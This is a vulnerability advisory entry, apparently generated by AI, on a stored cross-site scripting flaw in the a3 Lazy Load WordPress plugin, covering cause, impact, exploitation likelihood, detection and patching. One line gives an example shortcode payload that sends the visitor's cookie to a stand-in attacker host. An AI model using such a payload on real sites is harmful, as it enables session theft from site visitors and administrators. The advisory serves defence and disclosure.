
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-9873 is a Stored Cross-Site Scripting (XSS) vulnerability in the a3 Lazy Load plugin for WordPress, affecting all versions up to and including 2.7.5. The flaw stems from insufficient input sanitization and output escaping on user-supplied attributes, enabling authenticated attackers with contributor-level access or higher to inject persistent malicious scripts into pages. It was published on December 13, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize user-supplied shortcode or block attributes before rendering them in page output, allowing arbitrary HTML/JavaScript to be stored in the database and reflected to all subsequent page visitors. Exploitation requires only contributor-level WordPress authentication (low privilege), no user interaction from the victim beyond visiting the injected page, and operates over the network with a changed scope (affecting users' browsers). The vulnerable code path is visible in the plugin's class file at class-a3-lazy-load.php line 430, and a patch was introduced in changeset 3377146 (Wordfence, WordPress Trac).
Successful exploitation allows injected JavaScript to execute in the browsers of any user — including administrators — who visits an affected page, enabling session cookie theft, credential harvesting, defacement, or redirection to malicious sites. Because the payload is stored server-side, a single injection can affect all site visitors persistently until the payload is removed. While availability is not directly impacted, confidentiality and integrity are both at low-to-moderate risk, with potential for privilege escalation if an administrator's session is hijacked (Red Hat CVE, Wordfence).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-9873 as of the available data. The EPSS score is approximately 0.029%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a contributor-level WordPress account, which limits opportunistic mass exploitation but remains a realistic threat on sites with open contributor registration (Wordfence, Red Hat CVE).
[a3_lazy_load attribute="><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].wp_posts or wp_postmeta entries containing <script>, javascript:, onerror=, or other event handler attributes within a3 Lazy Load shortcode parameters.wp-admin/post.php or REST API endpoints from contributor-level accounts inserting unusual attribute values into a3 Lazy Load blocks.Update the a3 Lazy Load plugin to version 2.7.6 or later, which includes the fix introduced in changeset 3377146 that adds proper input sanitization and output escaping. As an interim workaround, restrict contributor-level and above account creation/access on the WordPress site, or temporarily deactivate the plugin until patching is feasible. Site administrators should audit existing posts and pages for injected scripts in a3 Lazy Load shortcode attributes (Wordfence, WordPress Trac).
Wordfence disclosed the vulnerability and included it in their weekly WordPress vulnerability report for December 8–14, 2025, noting the patch availability in version 2.7.6 (Wordfence Weekly Report). Sucuri also referenced the vulnerability in their December 2025 vulnerability patch roundup (Sucuri Blog). No significant social media controversy or broader media coverage has been observed beyond standard vulnerability tracking channels.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."